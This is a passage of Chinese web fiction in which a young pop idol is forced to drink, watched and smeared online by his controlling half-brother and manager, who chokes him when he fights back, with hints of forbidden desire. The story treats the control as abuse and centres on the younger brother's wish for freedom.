“霁总!可算把您这位大忙人等来了!”为首的王总,挺着啤酒肚,目光却第一时间贪婪地黏在了霁远身上,“哟,我们的大明星霁远也来了!真人比电视上还要好看十倍啊!” 那目光像带着粘液的触手,让霁远胃里一阵翻腾。他下意识地想后退半步,手腕却被霁丞更紧地攥住。 “王总过奖。”霁丞上前半步,巧妙地用半个身体挡住了王总过于露骨的视线,脸上挂起恰到好处的商业微笑,伸出手与之相握,“路上堵车,让诸位久等。阿远,叫人。” 最后两个字,轻飘飘的,却带着不容置疑的分量。 霁远抬起眼,努力扯出一个弧度完美的笑容,声音清冷却礼貌:“王总好,李总好,张总好。”他挨个叫出名字,这是霁丞事先让他背下的资料。每一个名字背后,都代表着巨大的资本和资源。 “好好好!霁远真是又乖又有礼貌!”王总哈哈笑着,顺势将一杯琥珀色的液体塞到霁远手里,“来,为了我们未来的合作,先干一杯!霁远的新歌《囚鸟》真是唱到我心坎里去了,尤其是那句‘羽翼折断在黄金的牢’,啧啧,有味道!” 霁远看着杯中晃动的液体,那刺鼻的酒精味让他生理性不适。他从不喝酒。霁丞知道。 他下意识地看向霁丞。 霁丞正与另一位李总低声交谈着什么,似乎完全没注意到这边的动静。他的侧脸线条冷硬,仿佛一尊完美的雕塑,隔绝了外界的一切信号。 霁远的心沉了下去。他明白了。这杯酒,是“入场费”,是“诚意”。霁丞不会帮他挡。 指尖冰凉,他端起酒杯。冰凉的杯壁刺痛掌心。他闭上眼,屏住呼吸,将那辛辣的液体猛地灌了下去。火线一路从喉咙烧到胃里,呛得他眼眶瞬间泛红,剧烈地咳嗽起来,单薄的肩膀控制不住地颤抖。 “哈哈哈!霁远还是这么不胜酒力啊!纯情!”王总笑得更大声了,带着一种恶意的满足感,粗糙的手掌顺势就拍向霁远的后背。 就在那只手即将落下之际,一只骨节分明的大手更快地伸了过来,稳稳地扶住了霁远因咳嗽而摇晃的身体。霁丞不知何时已经结束了谈话,站到了霁远身边。他自然地接过霁远手中几乎空掉的酒杯,脸上笑容不变,眼底却是一片冰冷的深潭。 “王总见笑了,阿远这孩子,嗓子金贵,平时滴酒不沾的。”霁丞的声音温和,却带着无形的压力,“这杯算他敬您的诚意,剩下的,我替他喝。”说完,他拿起旁边侍应生托盘上的一杯新酒,仰头一饮而尽,动作干脆利落,喉结滚动,尽显成熟男人的强势。 王总脸上的笑容僵了一下,随即又堆起更多:“哎哟,霁总真是护弟心切啊!好好好,你喝也一样!都一样!”他讪讪地收回了手。 霁丞的手还扶在霁远的腰侧,隔着薄薄的毛衣,那掌心滚烫的温度几乎要灼伤皮肤。他微微低头,嘴唇几乎贴着霁远的耳廓,用只有两人能听到的声音,冰冷地警告:“站稳了。别给我丢脸。” 那气息喷在敏感的耳垂上,带着酒气和不容抗拒的威压。霁远身体瞬间僵硬,胃里的翻江倒海混合着屈辱和一种深切的无力感,几乎让他窒息。他死死咬着下唇,尝到了一丝血腥味,才勉强压下那股呕吐的冲动,站直了身体,脸上重新挂起那副精致却空洞的面具。 接下来的时间,对霁远而言是一场漫长的酷刑。他像个漂亮的人偶,被霁丞带着穿梭在各色人等之间。霁丞谈笑风生,游刃有余地周旋着,将每一个话题都巧妙地引向对“星宸娱乐”和霁远有利的方向。他精准地把握着节奏,时而抛出霁远的一个小优点,引来众人的附和和夸赞;时而又像不经意地提到某个重量级的项目,暗示霁远在其中不可或缺的地位。 霁远只需要在他示意时微笑、点头,偶尔回答一两个无关痛痒的问题。他的存在,就是霁丞手中最耀眼的一张名片,一个被精心雕琢、展示,用以换取利益的完美商品。他能清晰地感受到那些落在他身上的目光——欣赏的、觊觎的、评估的、嫉妒的……像无数细密的针,扎在他裸露的皮肤上。 他感觉自己正站在一个巨大的、流光溢彩的舞台上,聚光灯烤得他浑身发烫,而脚下,却是深不见底的悬崖。霁丞就站在悬崖边,牢牢攥着他手腕上的无形锁链。 “失陪一下。”霁丞似乎终于达成了某个关键意向,对几位老总颔首示意,然后自然地揽住霁远的肩膀,带着他走向相对安静的露台方向。姿态亲昵,无可挑剔。 露台连接着一个隐蔽的休息区,巨大的落地玻璃窗外,城市的灯火在雨幕中晕染成一片模糊的光海。隔绝了大部分喧嚣,只剩下雨点敲打玻璃的单调声响。 霁丞的手一离开肩膀,霁远就像被抽掉了骨头,踉跄一步,扶住了冰冷的玻璃墙。冰冷的触感让他混沌的大脑清醒了一瞬,胃里的绞痛却更加猛烈。他再也忍不住,冲到角落的垃圾桶旁,剧烈地干呕起来,刚才强行咽下的那点酒液早已灼烧殆尽,只剩下酸涩的胆汁。 他咳得撕心裂肺,眼泪生理性地涌出,沾湿了长睫,苍白的脸上泛起病态的红晕,脆弱得像下一秒就要碎裂。 一只手递过来一张干净的手帕,带着熟悉的、冷冽的木质香气。 霁远没有接。他扶着墙,喘息着,背对着霁丞。 “难受?”霁丞的声音在身后响起,听不出什么情绪。他走近一步,高大的身影将霁远完全笼罩在自己的阴影里。 霁远猛地转过身,那双一直被低垂的睫毛遮掩的眼睛,此刻终于抬起,直直地看向霁丞。那里面不再是空洞的顺从,而是燃烧着压抑了整晚的怒火、屈辱和一种深切的痛苦。雨水在玻璃上蜿蜒流淌,映得他眼底水光破碎。 “为什么?”他的声音沙哑得厉害,带着质问的颤抖,“为什么非要我来?为什么非要我喝那杯酒?你知道我……”后面的话,哽在喉咙里,是“你知道我讨厌这样,你知道我受不了酒精,你知道那个王总看我的眼神有多恶心!” 霁丞静静地看着他,深潭般的眸子里没有任何波澜,仿佛霁远的痛苦和质问只是一场无关紧要的闹剧。他抬手,用那张霁远不肯接的手帕,不容拒绝地、近乎粗暴地擦去他唇角的狼狈和眼角的湿痕。动作看似温柔,力道却大得让霁远脸颊生疼。 “为什么?”霁丞重复了一遍他的问题,嘴角勾起一抹极淡、却冰冷刺骨的弧度,声音压得极低,像毒蛇吐信,“阿远,你是不是忘了,你是怎么站到今天的聚光灯下的?” 他逼近一步,强大的压迫感让霁远几乎无法呼吸。 “没有我,你那个酗酒早死的妈留下的烂摊子,谁来收拾?没有我,凭你那点清高的所谓才华,能在这个吃人不吐骨头的圈子里活过三个月?没有我,你现在可能还在哪个阴暗的地下室里抱着你那把破吉他,发着无人问津的白日梦!”他的每一个字都像淬了冰的针,狠狠扎进霁远的心脏,“你以为‘星宸娱乐’一哥的位置,是天上掉下来的?是那些粉丝喊着‘哥哥好帅’就能给你的?” 霁丞的手,猛地攥住了霁远的下巴,强迫他抬起头,直视自己那双深不见底、此刻翻涌着浓重占有欲和掌控欲的眼睛。 “是我!”他几乎是咬着牙,一字一顿地说,“是我把你从泥泞里捞出来,洗干净,给你穿上最华贵的衣服,捧上最高的位置!是我给了你现在拥有的一切!” 他的拇指用力摩挲着霁远苍白的下唇,那力道几乎要擦破皮。 “所以,阿远,”霁丞的声音陡然变得轻柔,却比刚才的厉声呵斥更让人毛骨悚然,带着一种情人般的呢喃,却又字字如枷锁,“你的一切,包括你这个人,都是我的。明白吗?” “让你来,是因为你的价值。让你喝酒,是因为那是必要的代价。收起你那点可怜的自尊心和没用的清高。”他的目光扫过霁远因为愤怒和屈辱而微微起伏的胸膛,眼神暗了暗,“在这个圈子里,没有我霁丞点头,你连呼吸的资格都没有。更别妄想……飞出去。” “飞出去”三个字,他咬得极重,像一道无形的诅咒。 露台昏黄的光线下,霁丞英俊的面容一半隐在阴影里,一半被灯光勾勒出冷硬的线条。他眼神深邃,紧紧锁住霁远,那目光像是带着实质的重量,沉甸甸地压在霁远的心口,让他几乎喘不过气。那里面翻涌的东西太过复杂——是掌控一切的自信,是扭曲的占有,是看到猎物挣扎时近乎残忍的兴味,或许,还有一丝连他自己都未曾察觉的、被血缘禁忌所点燃的、病态的灼热。 霁远的下巴被捏得生疼,骨头仿佛都在呻吟。他看着眼前这张熟悉又陌生的脸,这张和他有着相似轮廓、却比他强势百倍的脸。愤怒的火焰在胸腔里疯狂燃烧,几乎要冲破喉咙,烧毁这令人窒息的囚笼。他想嘶吼,想质问,想用尽全身力气推开这个以兄长之名行禁锢之实的男人。 然而,身体却像是被无形的冰水浇透,僵在原地,动弹不得。 五年了。 从母亲去世,这个同父异母的哥哥像救世主一样出现,将他从被债主围堵的破旧公寓带走的那天起,他就被卷入了一个由霁丞一手打造的、名为“保护”实为“囚禁”的金丝笼中。 他记得初到霁丞那座位于半山、奢华冰冷得像个艺术馆的别墅时的惶恐不安。记得霁丞如何用雷霆手段摆平了母亲留下的巨额债务和所有负面新闻。记得霁丞如何将他塞进最好的声乐老师、舞蹈老师、表演老师的课堂,如何亲自挑选他每一个通告,审查他接触的每一个人。 霁丞给了他令人艳羡的资源,让他从一个默默无闻的练习生,短短几年就跃升为顶流偶像。他拥有了无数粉丝的尖叫,数不清的代言,光鲜亮丽的生活。可代价呢? 代价是他的手机永远在霁丞的监控之下。代价是他身边的工作人员全是霁丞的心腹,像无数双眼睛时刻盯着他。代价是他所有的社交账号密码霁丞都一清二楚,每一条动态都需要经过审核。代价是他不能有任何“不恰当”的朋友,尤其是异性。代价是他创作的歌曲,必须符合霁丞制定的“市场规则”,否则就会被无情地修改甚至废弃。代价是……他失去了自由呼吸的权利,失去了决定自己人生的可能。 每一次微弱的反抗,换来的都是更严密的控制和更冰冷的警告。霁丞总有办法让他屈服,用资源,用前途,用他内心深处对母亲那份无法偿还的愧疚(“如果不是为了养你,她不会那么辛苦,不会染上酗酒的毛病”),或者,就像此刻这样,用赤裸裸的、宣告所有权的羞辱。 “飞出去?”霁远的声音干涩得像砂纸摩擦,带着一丝绝望的颤抖。他猛地挥开霁丞钳制他下巴的手,力道之大,让霁丞都微微后退了半步。 霁丞的眼神瞬间阴沉下来,危险地眯起。 “哥,”霁远扯出一个比哭还难看的笑容,眼底却是一片死寂的荒芜,“在你打造的这座黄金笼子里,我连翅膀都忘了怎么张开,还怎么飞?” 他看着霁丞骤然变冷的脸色,心脏像是被一只无形的手狠狠攥住,痛得他几乎弯下腰。但他强迫自己站直,直视着那双深不见底、此刻正酝酿着风暴的眼睛。 “你说得对,没有你,就没有今天的霁远。”他的声音很轻,却清晰地穿透雨声,“可你有没有问过我,霁远想要什么?是站在聚光灯下被当成商品估价,还是……”他顿了顿,后面的话没有说出口,但眼神里那份深切的痛苦和渴望已经说明了一切。 他想要自由。想要呼吸一口没有霁丞控制的空气。想要唱自己想唱的歌,爱自己想爱的人,过哪怕平凡、却由自己掌控的人生。 “想要什么?”霁丞像是听到了什么极其荒谬的笑话,低低地笑了起来,笑声里没有一丝温度,只有冰冷的嘲讽和掌控者的傲慢。他再次逼近,高大的身影将霁远完全笼罩,强大的压迫感让周围的空气都变得稀薄。 “阿远,”他抬手,冰凉的指尖拂过霁远因为激动而微微泛红的眼尾,动作轻柔得近乎诡异,说出的话却残忍如刀,“从我把你带出那个烂泥潭开始,你就没有‘想要’的资格了。你只能拥有我允许你拥有的,只能成为我让你成为的样子。” 他的指尖顺着霁远的脸颊下滑,最后停留在那脆弱的喉结上,带着一种暧昧又危险的暗示。 “至于翅膀?”霁丞的嘴角勾起一抹残忍的弧度,眼神锐利如鹰隼,牢牢锁住霁远眼中那抹微弱却倔强的光芒,“我既然能给你安上,就能随时把它……折断。” 最后两个字,轻飘飘地落下,却像两块沉重的冰,狠狠砸进霁远的心湖,瞬间冻结了所有血液。一股寒意从脚底直冲头顶,让他控制不住地打了个寒颤。 露台的门被轻轻推开,霁丞的首席助理林薇探进头来,妆容精致的脸上带着职业化的恭敬:“霁总,王总他们那边在问,关于电影主题曲的合作细节……” 霁丞眼底翻涌的戾气瞬间收敛,快得仿佛从未出现过。他收回停留在霁远喉间的手,自然地整理了一下自己的袖口,又恢复了那个在名利场游刃有余、滴水不漏的星宸娱乐掌舵人形象。 “知道了。”他淡淡应了一声,目光却依旧锁在霁远苍白失血的脸上,带着不容置喙的命令,“整理好自己,五分钟后过来。别再让我看到你这副要死不活的样子。” 说完,他不再看霁远一眼,转身,迈着沉稳的步伐,重新融入那片觥筹交错、虚与委蛇的名利场中。背影挺拔,带着掌控一切的绝对自信。 冰冷的露台,只剩下霁远一个人。 他靠着冰冷的玻璃墙,缓缓滑坐到铺着昂贵地毯的地上。胃里的绞痛一阵强过一阵,混合着心脏被反复凌迟的剧痛,让他蜷缩起身体,将脸深深埋进膝盖。 窗外的雨更大了。豆大的雨点疯狂地敲打着玻璃,发出密集而沉闷的声响,像无数只绝望的手在拍打着牢笼。城市的灯火在雨幕中扭曲变形,光怪陆离,像一张巨大的、嘲笑着他的、名为“命运”的网。 他抬起微微颤抖的手,用力抹去脸上残留的湿痕。指尖触碰到脖颈,那里仿佛还残留着霁丞指尖冰冷的触感和那令人窒息的威胁。 折断翅膀…… 他闭上眼,脑海中闪过无数画面:母亲临终前枯槁的手;霁丞第一次带他离开时看似温和实则不容拒绝的眼神;被改得面目全非的歌谱;酒桌上那些令人作呕的目光和黏腻的手;霁丞掌控一切时冰冷倨傲的侧脸……还有,手腕内侧那个隐秘的、几乎无人知晓的纹身——一只线条简洁、却透着倔强、振翅欲飞的黑色小鸟。那是他十八岁生日那天,偷偷跑去纹的。一个无人知晓的、关于自由的图腾。 金丝雀? 他扯动嘴角,无声地笑了。笑容苦涩而绝望。 或许他连金丝雀都不如。金丝雀至少还有人欣赏它的歌喉。而他,只是一个被精心包装、用以换取利益的商品,一个被血缘和强权双重锁链捆绑的囚徒。 雨声轰鸣。 一个冰冷而决绝的声音,在他心底最深处,如同被囚禁的困兽发出的第一声嘶吼,微弱却无比清晰。 这个念头像一道撕裂黑暗的闪电,瞬间劈开了他心中积压多年的阴霾和恐惧。随之而来的,不是解脱的轻松,而是一种近乎毁灭的、孤注一掷的颤栗。他知道这意味着什么。意味着彻底撕裂和霁丞之间那畸形扭曲的联系,意味着放弃现在拥有的一切光环和优渥,甚至……可能意味着万劫不复。 但他真的……受够了。 蜷缩在冰冷角落的身影,在巨大落地窗映出的、被雨幕模糊的、光怪陆离的繁华背景中,显得那么渺小,那么脆弱。然而,在那低垂的眼睫之下,在那双被绝望浸透的眼底深处,一点微弱的、名为“反抗”的火星,正在这无边的雨夜和屈辱中,悄然点燃。 玻璃窗上,雨水纵横交错,模糊地映出他苍白却轮廓分明的侧脸,和他手腕内侧,那只被衣袖半遮半掩的、振翅欲飞的黑色飞鸟。 笼中兽 黑色的库里南像一道沉默的闪电,撕裂雨幕,驶离了霓虹喧嚣的“云巅”,朝着城市另一端、被葱郁林木环绕的半山别墅区疾驰。 车内,死一般的寂静。 空气仿佛凝固成了沉重的铅块,压得人喘不过气。车载香薰散发着昂贵的冷杉木香,此刻却混合着未散的酒气和一种无形的硝烟味,令人窒息。 霁远蜷缩在宽大的真皮座椅最角落,脸侧向窗外。雨水在玻璃上疯狂流淌,将窗外飞速倒退的、被雨水洗刷得格外冷硬的城市轮廓扭曲成一片模糊的光斑。他闭着眼,长睫在苍白的眼下投下浓重的阴影,身体因为寒冷和未散尽的屈辱感而微微颤抖。那件沾了酒气和呕吐物酸味的大衣早已被林薇小心翼翼地收走,此刻他身上只穿着一件单薄的白色高领毛衣,更显得形销骨立。 霁丞坐在另一侧,与他隔着宽大的中央扶手箱,距离不远,却像隔着冰冷的银河。他解开了西装外套的扣子,姿态放松地靠着椅背,闭目养神。英俊的侧脸在窗外忽明忽暗的光影里显得轮廓分明,也透着一种掌控全局后的、深沉的疲惫和不容置疑的冷硬。他左手随意搭在扶手上,修长的手指无意识地敲击着光滑的皮质表面,发出细微而规律的声响,像某种倒计时,敲打在霁远紧绷的神经上。 没有人说话。司机老陈是霁丞用了十年以上的老人,深知老板脾性,目不斜视,将车开得又快又稳。助理林薇坐在副驾,连呼吸都刻意放轻,尽量减少自己的存在感。整个车厢,只有雨刮器规律地刮擦着挡风玻璃,发出单调而刺耳的噪音。 压抑。窒息。绝望。 霁远感觉自己像一条被抛上岸的鱼,在冰冷的砧板上徒劳地张着嘴。霁丞在“云巅”露台上那些冰冷的字句,一遍遍在他脑海里回响,带着淬毒的倒刺,反复刮擦着他早已伤痕累累的心脏。 “你的一切,包括你这个人,都是我的。” “收起你那点可怜的自尊心和没用的清高。” “没有我霁丞点头,你连呼吸的资格都没有。” “我既然能给你安上翅膀,就能随时把它……折断。” 每一个字,都像重锤,将他那点刚刚在绝望中燃起的、名为“永不回头”的微弱火星,一点点砸进更深的泥沼。恐惧,巨大的、源于骨血深处的恐惧,像冰冷的藤蔓,再次缠绕上来,勒紧了他的心脏。他了解霁丞。这个男人,言出必行。他的“折断”,绝不会是虚张声势的恐吓。那意味着彻底的毁灭,意味着他霁远将会被碾碎得连一丝曾经存在过的痕迹都不剩。 可是……就这样认命吗?继续做一只被锁在黄金笼子里,供人赏玩、被主人随意摆弄的金丝雀?直到彻底麻木,连歌唱的本能都遗忘? 胃里又是一阵尖锐的绞痛,提醒着他刚才在“云巅”被迫咽下的屈辱。他死死咬住下唇,尝到更浓的血腥味,才勉强压下喉咙深处翻涌的恶心感。 车子终于驶入半山别墅区,穿过戒备森严的大门,沿着蜿蜒的私家车道向上,最终停在一座极具现代设计感、通体以冷灰色调为主、线条利落简洁如艺术馆的别墅前。巨大的落地窗在雨夜里透出暖黄的光晕,却驱不散建筑本身透出的冰冷疏离感。 “到了,霁总。”老陈低声提醒。 霁丞缓缓睁开眼,眼底一片清明,没有丝毫睡意。他率先推开车门,雨夜的寒气瞬间涌入。他没有撑伞,径直下车,大步走向别墅大门。 林薇迅速撑开一把大黑伞,小跑着跟上,试图为霁丞遮雨。 “给他。”霁丞脚步未停,头也不回地丢下两个字。 林薇愣了一下,立刻会意,赶紧将伞撑到刚从车里下来的霁远头顶。 冰冷的雨点瞬间被隔绝。霁远看着眼前霁丞在雨幕中挺拔而冷漠的背影,又看了看头顶这把象征着“施舍”的伞,只觉得讽刺无比。他没有拒绝,只是沉默地跟在后面,脚步有些虚浮。 智能门锁无声开启。温暖的、带着淡淡香薰气息的空气扑面而来,与室外的湿冷形成鲜明对比。玄关处灯光柔和,光洁如镜的黑色大理石地面映出两人一前一后、沉默而疏离的身影。 佣人吴妈早已等候在一旁,看到霁远苍白的脸色和湿漉漉的头发,眼中闪过一丝心疼,刚要上前:“二少爷,您……” “给他煮碗醒酒汤。”霁丞脱下湿了肩头的大衣,随手递给旁边的佣人,打断吴妈的话,语气平淡无波,听不出任何情绪,仿佛在吩咐处理一件无关紧要的物品。“送到他房间。” 他没有再看霁远一眼,径直走向通往二楼的旋转楼梯,脚步声在空旷的一楼大厅里回荡,沉稳,冰冷,带着无形的威压。 “是,大少爷。”吴妈连忙应下,担忧地看向霁远。 霁远只觉得浑身冰冷,比在雨里时更甚。他脱掉湿透的鞋子,赤脚踩在冰冷的大理石地面上,寒意顺着脚心直窜头顶。他没有回应吴妈的关切,也沉默地走向楼梯。 他的房间在二楼走廊的尽头,与霁丞位于另一头、占据整个东翼的主卧遥遥相对。这是霁丞的安排。美其名曰“安静,不被打扰”,实则更像是一种无声的监控和隔离。 推开厚重的实木房门,房间很大,装修风格延续了整栋别墅的冷调极简。高级灰的墙面,深灰色的地毯,巨大的落地窗外是雨夜中模糊的山景。家具不多,线条利落,昂贵却毫无生气,像一个精心布置的样板间,缺乏任何个人色彩。唯一能证明主人身份的,是角落那把被擦得锃亮的原木色民谣吉他,以及靠墙书架上寥寥几本与音乐相关的书籍。 霁远反手关上门,背靠着冰凉的门板,身体才像彻底脱力般滑落下来,跌坐在厚厚的地毯上。巨大的疲惫感和屈辱感如同潮水般将他淹没。他抱住膝盖,将脸深深埋进去,肩膀无法抑制地微微耸动。 没有声音。连哭泣都是无声的。在这个霁丞掌控一切的牢笼里,他连悲伤的资格都被剥夺了宣泄的权利。他怕任何一丝软弱的声响,都会被无处不在的监控捕捉到,成为霁丞眼中更加轻蔑的把柄。 几分钟后,敲门声响起,是吴妈小心翼翼的声音:“二少爷,醒酒汤好了。” 霁远用力抹了一把脸,深吸一口气,强迫自己站起来,打开门。 吴妈端着一个精致的骨瓷碗站在门口,热气腾腾的汤散发着淡淡的姜味和药草香。她看着霁远红肿的眼眶和毫无血色的脸,叹了口气,压低声音:“二少爷,快趁热喝了,暖暖胃。大少爷他……也是为了你好,这个圈子,唉……”她欲言又止,最终只是将碗塞到霁远手里,又递过来一小碟精致的点心,“再吃点东西垫垫,空着胃更难受。” “谢谢吴妈。”霁远的声音沙哑得厉害,接过碗。碗壁温热,却暖不了他的心。为了他好?多么冠冕堂皇的借口。霁丞的“好”,就是将他打磨成一件最趁手的工具,一件能为他带来最大利益、且完全归属于他的完美收藏品。 他关上门,没有喝那碗汤,只是将它放在冰冷的黑色玻璃茶几上,任由热气慢慢消散。点心更是碰都没碰。胃里依旧翻江倒海,但他知道,那不是酒精,是屈辱和绝望在灼烧。 他走到巨大的落地窗前,窗外是无边无际的黑暗和连绵不绝的雨声。这座位于半山、视野绝佳的别墅,像一个孤悬于世的牢笼,将他与整个世界隔绝。山下的万家灯火,如同遥远星河,是他永远无法触及的自由。 手腕内侧,那只隐秘的飞鸟纹身在单薄的毛衣袖口下隐隐发烫。他下意识地用另一只手紧紧捂住那里,仿佛这样就能汲取一丝虚幻的力量。 “永不回头……”他在心底无声地重复着这个在露台绝望时升起的念头。然而,现实冰冷的铁壁立刻将他撞得头破血流。怎么走?去哪里?霁丞的手眼通天,他根本无处可逃。他的身份证、护照,所有能证明他身份的重要文件,都在霁丞书房的保险柜里。他的银行账户,由林薇一手打理,每一笔支出都清晰可查。他身边的工作人员,司机、助理、保镖,甚至打扫房间的佣人,哪一个不是霁丞的眼睛? 他就像一张被钉死在标本架上的蝴蝶,再绚烂的翅膀,也失去了飞翔的可能。 就在这时,手机在口袋里震动起来。特殊的、被设置成静音但允许震动的提示音。是他在这个被严密监控的世界里,唯一偷偷保留的、与外界微弱联系的渠道——一个匿名的、加密的社交小号。知道他这个号存在的,只有一个人:他在出道前、还在酒吧驻唱时认识的朋友,苏哲。一个霁丞绝对看不上眼、也绝不允许他再联系的“底层”音乐人。 霁远的心猛地一跳,几乎是颤抖着拿出手机,迅速解锁。屏幕上跳出一条新消息,来自那个熟悉的、备注为“Z”的头像。 Z:[链接] 阿远!快看这个!妈的!你哥也太狠了吧! 霁远点开链接,跳转到一个以爆料娱乐圈内幕著称的八卦论坛。一个加红加粗的标题赫然刺入眼帘: 【惊爆!顶流霁远深夜密会资本大佬,酒醉失态,疑似资源交易内幕曝光!(多图实锤)】 帖子里赫然贴出了几张在“云巅”地下车库和顶层VIP区偷拍的高清照片!一张是他被霁丞牵着手下车时,脸色苍白、神情恍惚的样子;一张是他在角落里扶着墙干呕的背影,身形狼狈;最要命的是第三张,角度刁钻,正好拍到了王总试图拍他后背,而霁丞伸手扶住他腰侧的那个瞬间!照片被刻意截取,只突出了霁丞揽着他腰和王总那只油腻的手,营造出一种极其暧昧和不堪的氛围! 下面的文字更是极尽煽动和恶意揣测之能事: “昨晚‘云巅’顶级VIP区,星宸一哥霁远现身,陪同的正是其‘亲亲好哥哥’兼经纪人霁丞!看霁远这脸色苍白、脚步虚浮的样子,明显是喝大了!重点来了!图中这位试图‘关怀’霁远的胖老板,正是业内知名‘金主’王XX!看霁丞这‘护食’的姿态,啧啧啧,懂的都懂!” “据说当晚谈的是一个大制作电影主题曲和男二资源!霁远这‘牺牲’不小啊,直接喝到吐!难怪资源这么好,原来背后有‘高人’亲自保驾护航,还亲自下场‘挡酒’呢!” “星宸这操作666,兄弟齐上阵?霁远这‘清冷贵公子’人设怕是要崩!表面不食人间烟火,背地里还不是要靠‘身体力行’换资源?心疼粉丝三秒钟!” 评论区的污言秽语更是如同潮水般涌来,不堪入目。无数恶毒的猜测、幸灾乐祸的嘲讽、以及对霁丞和他关系“畸形”的暗示,像淬毒的针,密密麻麻地扎在霁远眼中。 一股寒气瞬间从脚底直冲头顶,让他如坠冰窟!手指因为过度用力而指节发白,手机屏幕几乎要被捏碎。 不是意外!这绝不是普通的狗仔偷拍!角度、时机、引导性的文字……这分明是一场精心策划的舆论绞杀!目标不是别人,就是他霁远!或者说,是霁丞借他之手,给那个王总以及所有觊觎他“商品”的人,一个清晰无比的下马威! 霁丞在露台上冰冷的声音再次回响: “让你喝酒,是因为那是必要的代价。” “在这个圈子里,没有我霁丞点头,你连呼吸的资格都没有。” 这就是他说的“代价”!这就是他展示“所有权”的方式!用最肮脏的污水,泼在他霁远身上,彻底打碎他那点可怜的“清高”和“自尊”,让他更加清晰地认识到——离开霁丞的庇护,他只会被撕扯得粉碎,坠入更深的泥潭!霁丞在用最残酷的方式告诉他:看,外面的世界有多可怕,只有在我打造的笼子里,你才能维持表面的光鲜,哪怕这光鲜是用屈辱和污名换来的! 愤怒!前所未有的愤怒如同岩浆般在他胸腔里奔涌、咆哮!烧毁了他最后一丝恐惧和犹豫!霁丞不仅剥夺了他的自由,还要亲手将他的人格和尊严踩进泥里,碾得粉碎!只为让他更加驯服,更加死心塌地地做一只笼中鸟! 就在这时,房门被毫无预兆地推开!没有敲门。 霁丞高大的身影出现在门口。他已经换上了深灰色的丝质家居服,少了几分商场的凌厉,却多了几分居家的慵懒和更深的、不容侵犯的掌控感。他手里拿着一个平板电脑,屏幕上显示的,正是霁远刚刚看到的那个充满恶意的爆料帖! 他缓步走进来,姿态闲适,像巡视自己领地的王者。目光扫过茶几上那碗已经凉透、一口未动的醒酒汤,眼神微冷。最终,他的视线落在背对着他、站在落地窗前、身体僵硬如石雕的霁远身上。 “看到了?”霁丞的声音不高,带着一种事不关己般的平静,甚至有一丝若有若无的嘲弄。他将平板随意地丢在霁远旁边的沙发上,屏幕刺眼的光芒在昏暗的房间里显得格外突兀。 霁远没有回头,只是死死地盯着窗外无尽的雨夜,身体因为极致的愤怒而微微颤抖。 “效果不错。”霁丞走到他身后,距离很近,近到能感受到他身上传来的、带着沐浴后清新气息的压迫感。“王胖子现在应该正焦头烂额地想办法撤热搜、洗白自己。以后,他,还有那些不长眼的东西,想碰你之前,都得先掂量掂量后果。”他的语气带着一种处理完麻烦后的轻松和运筹帷幄的得意。 “后果?”霁远猛地转过身,赤红的双眼死死瞪着霁丞,声音因为极致的愤怒和嘶吼而撕裂变调,像濒临绝境的困兽发出的悲鸣,“霁丞!你毁了我!你知不知道他们在说什么?!他们在说我卖身!说我们……说我们是……”后面那个肮脏的词汇,他耻辱得说不出口。 “说什么重要吗?”霁丞微微挑眉,深邃的眼眸里没有一丝波澜,只有冰冷的、掌控一切的漠然。他抬手,冰凉的指尖拂过霁远因为激动而滚烫的脸颊,动作轻柔,却带着一种令人毛骨悚然的亵玩意味。“在这个圈子里,真相从来都不重要。重要的是,你,霁远,现在比任何时候都更‘红’,话题度更高。黑红,也是红。只要热度在,就有价值。星宸的股价,刚刚涨了三个点。” 他俯身,凑近霁远的耳边,温热的呼吸喷洒在敏感的耳廓上,说出的话却如同毒蛇的信子: “看,阿远,你多‘值钱’。你的‘牺牲’,很有价值。这不就是你存在的意义吗?” “啊——!!!” 积压了一整晚、甚至积压了五年的屈辱、愤怒、绝望,在这一刻如同被点燃的炸药桶,轰然爆发!理智的弦彻底崩断!霁远像一头被彻底激怒的困兽,猛地挥拳,用尽全身力气砸向霁丞那张冷漠到令人发指的脸! “砰!” 一声闷响! 拳头并没有如愿地砸在霁丞脸上。在距离目标还有几厘米的地方,就被一只铁钳般的大手牢牢攥住了手腕!霁丞的动作快得惊人,仿佛早有预料。他眼神瞬间阴鸷下来,反手用力一拧! “呃!”霁远痛呼一声,手腕传来剧痛,整个人被一股巨大的力量狠狠掼在冰冷的落地玻璃窗上!后背撞得生疼,眼前一阵发黑。 霁丞高大的身体紧跟着压了上来,将他死死地禁锢在自己和冰冷的玻璃之间,动弹不得。一只手依旧像铁钳般攥着他发痛的手腕,另一只手则粗暴地掐住了他的脖子,虽然没有用力到窒息,但那冰冷的触感和绝对的压制,充满了羞辱和警告的意味。 “长本事了?”霁丞的声音低沉得可怕,像暴风雨前的闷雷,眼底翻涌着被挑衅后燃起的、骇人的戾气和一丝被压抑的、更深沉的东西。他的拇指用力摩挲着霁远脆弱的喉结,感受着那皮肤下激烈的脉搏跳动。“敢对我动手?” 两人身体紧贴,鼻尖几乎相触。霁丞身上那股冷冽的木质香气混合着强烈的男性气息,形成一种极具侵略性的压迫感,将霁远完全笼罩。他能清晰地感受到霁丞胸膛的起伏,感受到那具身体里蕴含的、足以将他轻易碾碎的强大力量。更可怕的是,在霁丞那双深不见底、此刻翻涌着暴戾和某种近乎偏执的占有欲的眼眸深处,他捕捉到了一丝……异样的灼热。那是一种超越了兄长对弟弟的管教、甚至超越了经纪人对艺人的掌控的、带着禁忌色彩的、令人心悸的炽热。 霁远的心跳骤然停止,巨大的恐惧感再次攫住了他,比愤怒更甚!他挣扎着,像一条被钉在砧板上的鱼,眼神里充满了惊惧和难以置信:“你……你想干什么?!放开我!” 霁丞没有松手,反而更逼近一分,两人的呼吸彻底交融。他盯着霁远惊恐而美丽的眼睛,那里面破碎的水光和惊惶,奇异地取悦了他,也点燃了更深的、危险的火焰。他的目光像有实质般,从霁远因挣扎而凌乱的发丝,滑过他泛红的眼角,苍白的脸颊,最后落在那微微颤抖、失了血色的唇瓣上。喉结,不易察觉地滚动了一下。 “我想干什么?”霁丞的声音低哑下去,带着一种奇异的、近乎蛊惑的磁性,却又字字如冰锥,“阿远,我只是在提醒你,认清自己的位置。你的一切反抗,都是徒劳。只会……”他顿了顿,掐着霁远脖子的手微微收紧,迫使他仰起头,露出更脆弱的颈项线条,然后,缓缓地、一字一顿地补充道:“……让我更想,把你锁得更紧。” 那眼神里的暗示,赤裸裸,毫不掩饰。不再是单纯的掌控,而是掺杂了男人对觊觎之物的、带着血缘禁忌的、令人作呕的欲望! 